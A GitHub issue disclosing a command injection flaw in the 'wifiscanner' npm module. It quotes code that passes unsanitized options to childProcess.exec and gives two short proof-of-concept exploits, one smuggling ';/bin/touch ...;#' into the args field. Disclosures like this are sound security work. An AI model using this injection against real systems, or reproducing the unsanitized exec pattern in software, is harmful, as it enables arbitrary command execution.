New issue

Jump to bottom

Remote Code Execution Bug due to Improper Input Sanitization #1

Open **AbhishekHerle** opened this issue on Jun 10, 2020 · 0 comments

AbhishekHerle commented on Jun 10, 2020

This module can be used with options that can be used to overwrite default executable/binary path and arguments to the said executable/binary. An attacker can abuse this functionality to have the module execute a binary of their choice.

The following code snippets in the wifiscanner.js is responsible for the issue.

```
scan(callback, standardErrorCallback) {
childProcess.exec(this.command, (error, standardOut, standardError) => {
if (standardError && typeof standardErrorCallback === "function") {
standardErrorCallback(standardError);
}
callback(error, this.parse(standardOut.toString()));
});
}

get command() {
return this.options.binaryPath + " " + this.options.args;
}
```

As we can see, ***this.command*** is not sanitized in anyway prior to being passed to the ***exec()***.

Hence, the following payloads can be used to execute arbitrary commands:

Exploit 1:

```
let wifiscanner = require("wifiscanner");
let options = {
args: ";/bin/touch /tmp/exploit.txt;#"
}
let scanner = wifiscanner(options);
scanner.scan(function(error, networks){});
```

Exploit 2:

```
let wifiscanner = require("wifiscanner");
let options = {
args: "/tmp/exploit.txt",
binaryPath: "/bin/touch"
}
let scanner = wifiscanner(options);
scanner.scan(function(error, networks){});
```

User input must be appropriately sanitized prior to being passed to the module. At the very least users must be advised to manually sanitize user inputs when using this module.

d3m0n-r00t mentioned this issue on Oct 1, 2020

Fixed Remote Code Execution vulnerability #2

Open

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant